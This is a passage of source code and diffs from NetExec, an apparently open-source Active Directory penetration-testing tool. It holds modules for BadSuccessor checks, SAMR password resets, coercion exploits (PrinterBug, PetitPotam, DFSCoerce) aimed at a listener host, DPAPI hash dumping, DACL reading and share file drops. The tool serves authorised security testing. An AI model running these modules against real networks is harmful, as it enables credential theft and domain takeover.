class NXCModule:
"""
-------
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
"""
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available"""
def is_excluded_sid(self, sid, domain_sid):
if sid in EXCLUDED_SIDS:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self, ldap_session, base_dn):
"""Retrieve the domain SID from the domain object in LDAP"""
r = ldap_session.search(
searchBase=base_dn,
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
parsed = parse_result_attributes(r)
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
domain_sid = self.get_domain_sid(ldap_session, base_dn)
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
dn = entry["distinguishedName"]
sd_data = entry["nTSecurityDescriptor"]
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
for ace in sd["Dacl"]["Data"]:
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
has_relevant_right = False
mask = int(ace["Ace"]["Mask"]["Mask"])
for right_value in RELEVANT_RIGHTS.values():
if mask & right_value:
has_relevant_right = True
break
if not has_relevant_right:
continue # Skip this ACE if it doesn't have any relevant rights
object_type = getattr(ace, "ObjectType", None)
if object_type:
object_guid = ldaptypes.bin_to_string(object_type).lower()
if object_guid not in RELEVANT_OBJECT_TYPES:
continue
sid = ace["Ace"]["Sid"].formatCanonical()
if self.is_excluded_sid(sid, domain_sid):
continue
results.setdefault(sid, []).append(dn)
if hasattr(sd, "OwnerSid"):
owner_sid = str(sd["OwnerSid"])
if not self.is_excluded_sid(owner_sid, domain_sid):
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
ldap_session: The LDAP connection
sid: The SID to resolve
base_dn: The base DN for the LDAP search
Returns:
-------
str: The samAccountName if found, otherwise the original SID
"""
try:
search_filter = f"(objectSid={sid})"
response = ldap_session.search(
searchBase=base_dn,
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
parsed = parse_result_attributes(response)
if parsed and "sAMAccountName" in parsed[0]:
return parsed[0]["sAMAccountName"]
return sid
except Exception:
return sid
def on_login(self, context, connection):
# Check for a domain controller with Windows Server 2025
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
parsed_resp = parse_result_attributes(resp)
for dc in parsed_resp:
if "2025" in dc["operatingSystem"]:
out = connection.resolver(dc["dNSHostName"])
dc_ip = out["host"] if out else "Unknown IP"
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
else:
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls) # Fixed parameter name
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
if results:
context.log.success(f"Found {len(results)} results")
else:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(
connection.ldap_connection,
sid,
connection.ldap_connection._baseDN
)
for ou in ous:
if sid == samaccountname:
context.log.highlight(f"{sid}, {ou}")
else:
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
+11 -3
View File
@@ -4,12 +4,11 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -104,7 +103,16 @@ class BitLockerWMI:
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
+149
View File
@@ -0,0 +1,149 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
class NXCModule:
"""
Module for changing or resetting user passwords
Module by Fagan Afandiyev, termanix and NeffIsBack
"""
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
def options(self, context, module_options):
"""
Required (one of):
NEWPASS The new password of the user.
NEWNTHASH The new NT hash of the user.
Optional:
USER The user account if the target is not the current user.
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
If want to change other user's password (with forcechangepassword priv or admin rights)
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
"""
self.newpass = module_options.get("NEWPASS")
self.newhash = module_options.get("NEWNTHASH")
self.target_user = module_options.get("USER")
if not self.newpass and not self.newhash:
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
sys.exit(1)
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
context.log.info("Connecting with null session credentials.")
else:
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
context.log.fail(f"DCE/RPC Exception: {e!s}")
raise
def on_login(self, context, connection):
self.context = context
target_username = self.target_user or connection.username
target_domain = connection.domain
# Grab all creds from the connection to use for authentication
self.oldpass = connection.password
self.oldhash = connection.nthash
new_lmhash, new_nthash = "", ""
# Parse new hash values if provided
if self.newhash:
try:
new_lmhash, new_nthash = self.newhash.split(":")
except ValueError:
new_nthash = self.newhash
try:
self.anonymous = False
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.anonymous = True
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
else:
raise
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
except Exception as e:
context.log.fail(f"Password change failed: {e}")
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
try:
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _hSamrOpenUser(self, connection, username):
"""Get handle to the user object"""
try:
# Connect to the target server and retrieve handles
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
except Exception as e:
self.context.log.fail(f"Failed to open user: {e}")
+16 -24
View File
@@ -11,8 +11,6 @@ class NXCModule:
name = "coerce_plus"
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -221,7 +219,7 @@ class ShadowCoerceTrigger:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"Fssagentrpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\Fssagentrpc]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\Fssagentrpc]",
"MSRPC_UUID_FSRVP": ("a8e0653c-2744-4389-a61d-7373df8b2292", "3.0"),
},
}
@@ -338,7 +336,7 @@ class DFSCoerceTrigger:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"netdfs": {
"stringBinding": r"ncacn_np:%s[\PIPE\netdfs]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\netdfs]",
"MSRPC_UUID_DFSNM": ("4fc742e0-4a10-11cf-8273-00aa004ae673", "3.0"),
},
}
@@ -509,23 +507,23 @@ class PetitPotamtTrigger:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"lsarpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsarpc]",
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"efsrpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\efsrpc]",
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
},
"samr": {
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\samr]",
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"lsass": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsass]",
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"netlogon": {
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\netlogon]",
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
}
@@ -758,17 +756,15 @@ class PrinterBugTrigger:
self.context = context
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = r"ncacn_ip_tcp:%s[135]" % target
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
self.context.log.debug(
"Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
)
self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
try:
dce.connect()
except Exception as e:
self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
self.context.log.warning(f"Failed to connect to endpoint mapper: {e}")
raise e
try:
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
@@ -777,17 +773,13 @@ class PrinterBugTrigger:
)
return endpoint
except Exception as e:
self.context.log.debug(
"Failed to resolve dynamic endpoint %s"
% repr(uuid.bin_to_string(interface))
)
self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
raise e
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"spoolss": {
"stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\spoolss]",
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": 445
},
@@ -835,7 +827,7 @@ class PrinterBugTrigger:
def exploit(self, dce, listener, target, always_continue, pipe):
try:
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00")
except Exception as e:
if str(e).find("Broken pipe") >= 0:
# The connection timed-out. Let's try to bring it back next round
@@ -853,7 +845,7 @@ class PrinterBugTrigger:
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request["hPrinter"] = resp["pHandle"]
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
request["pszLocalMachine"] = "\\\\%s\x00" % listener
request["pszLocalMachine"] = f"\\\\{listener}\x00"
request["fdwOptions"] = 0x00000000
request["dwPrinterLocal"] = 0
dce.request(request)
@@ -885,7 +877,7 @@ class PrinterBugTrigger:
request = RpcRemoteFindFirstPrinterChangeNotification()
request["hPrinter"] = resp["pHandle"]
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
request["pszLocalMachine"] = "\\\\%s\x00" % listener
request["pszLocalMachine"] = f"\\\\{listener}\x00"
request["fdwOptions"] = 0x00000000
request["dwPrinterLocal"] = 0
request["cbBuffer"] = NULL
@@ -908,7 +900,7 @@ class MSEvenTrigger:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"eventlog": {
"stringBinding": r"ncacn_np:%s[\PIPE\eventlog]" % target,
"stringBinding": rf"ncacn_np:{target}[\PIPE\eventlog]",
"MSRPC_UUID_EVEN": ("82273fdc-e32a-18c3-3f78-827929dc23ea", "0.0"),
},
}
+62 -98
View File
@@ -1,16 +1,17 @@
import binascii
import codecs
import json
import re
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.uuid import bin_to_string
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from ldap3.protocol.formatters.formatters import format_sid
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -199,8 +200,6 @@ class NXCModule:
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
@@ -229,12 +228,12 @@ class NXCModule:
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
if isfile(module_options["TARGET"]):
try:
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception:
context.log.fail("The file doesn't exist or cannot be openned.")
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
@@ -276,37 +275,50 @@ class NXCModule:
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
self.connection = connection
self.context = context
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
_lookedup_principal = self.principal_sAMAccountName
try:
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["objectSid"],
)[0][1][0][1][0]
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
self.principal_sid = resp_parsed["objectSid"]
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
except Exception:
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
sys.exit(1)
except Exception as e:
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
try:
self.search_target_principal_security_descriptor(context, connection)
# Searching for target account with its security descriptor
if self.target_sAMAccountName: # noqa: SIM108
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
else:
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
resp = connection.search(
searchFilter=search_filter,
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
except Exception:
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
except Exception as e:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
sys.exit(1)
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
if self.action == "read":
self.read(context)
@@ -320,10 +332,16 @@ class NXCModule:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
self.search_target_principal_security_descriptor(context, connection)
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
@@ -357,83 +375,31 @@ class NXCModule:
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
def search_target_principal_security_descriptor(self, context, connection):
_lookedup_principal = ""
# Set SD flags to only query for DACL
controls = security_descriptor_control(sdflags=0x04)
if self.target_sAMAccountName is not None:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=_lookedup_principal,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception:
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
sys.exit(0)
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception:
context.log.fail(f"User not found in LDAP: {samname}")
return False
# Attempts to resolve a SID and return the corresponding samaccountname
# - sid : the SID to resolve
def resolveSID(self, context, sid):
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
# Tries to resolve the SID from the well known SIDs
if sid in WELL_KNOWN_SIDS:
return WELL_KNOWN_SIDS[sid]
# Tries to resolve the SID from the LDAP domain dump
else:
try:
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][0]
return self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][1][0][1][0]
except Exception:
context.log.debug(f"SID not found in LDAP: {sid}")
return ""
try:
resp = self.connection.search(
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
return parse_result_attributes(resp)[0]["sAMAccountName"]
except Exception:
self.context.log.debug(f"SID not found in LDAP: {sid}")
return ""
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, context, dacl):
parsed_dacl = []
context.log.debug("Parsing DACL")
i = 0
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(context, ace)
parsed_dacl.append(parsed_ace)
i += 1
return parsed_dacl
# Parses an access mask to extract the different values from a simple permission
@@ -462,7 +428,7 @@ class NXCModule:
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace = {
"Access mask": access_mask,
"Trustee (SID)": trustee_sid
@@ -490,7 +456,7 @@ class NXCModule:
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else: # if the ACE is not an access allowed
@@ -505,15 +471,14 @@ class NXCModule:
def print_parsed_dacl(self, context, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
context.log.debug("Printing parsed DACL")
i = 0
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for parsed_ace in parsed_dacl:
for i, parsed_ace in enumerate(parsed_dacl):
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
@@ -561,16 +526,15 @@ class NXCModule:
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.context.log.highlight(f"ACE[{i}] info")
self.print_parsed_ace(parsed_ace)
i += 1
# Prints properly a parsed ACE
# - parsed_ace : a parsed ACE from parse_ace()
def print_parsed_ace(self, parsed_ace):
elements_name = list(parsed_ace.keys())
for attribute in elements_name:
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
# Retrieves the GUIDs for the specified rights
def build_guids_for_rights(self):
-2
View File
@@ -2,8 +2,6 @@ class NXCModule:
name = "dfscoerce"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
+1 -2
View File
@@ -5,12 +5,11 @@ from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
-2
View File
@@ -12,8 +12,6 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
"""
+66
View File
@@ -0,0 +1,66 @@
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps all computers in the domain"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
OUTPUT Output to file in addition to printing to console
Examples
--------
netexec ldap $DC-IP -u $username -p $password -M dump-computers
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
"""
self.output_file = None
self.netbios_only = False
self.fqdn_only = False
if "OUTPUT" in module_options:
self.output_file = module_options["OUTPUT"]
if "TYPE" in module_options:
if module_options["TYPE"].lower() == "netbios":
self.netbios_only = True
elif module_options["TYPE"].lower() == "fqdn":
self.fqdn_only = True
def on_login(self, context, connection):
resp = connection.search(
searchFilter="(objectCategory=computer)",
attributes=["dNSHostName", "operatingSystem"]
)
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item["dNSHostName"]
operating_system = item.get("operatingSystem", "Unknown OS")
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
answer = netbios_name
elif self.fqdn_only:
answer = dns_host_name
else:
answer = f"{dns_host_name} ({operating_system})"
answers.append(answer)
context.log.success("Found the following computers:")
for answer in answers:
context.log.highlight(answer)
if self.output_file:
try:
with open(self.output_file, "w") as f:
f.write("\n".join(answers) + "\n")
context.log.success(f"Results saved to {self.output_file}")
except Exception as e:
context.log.error(f"Failed to write to file {self.output_file}: {e}")
+110
View File
@@ -0,0 +1,110 @@
import ntpath
from nxc.helpers.misc import gen_random_string
from nxc.context import Context
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
from impacket.smbconnection import SessionError, SMBConnection
def get_error_string(exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
class NXCModule:
"""EFSR Spray Module
Module by @rtpt-romankarwacik
"""
name = "efsr_spray"
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
def options(self, context: Context, module_options: dict[str, str]):
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
self.share_name = module_options.get("SHARE_NAME")
if module_options.get("EXCLUDED_SHARES"):
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
def on_login(self, context: Context, connection):
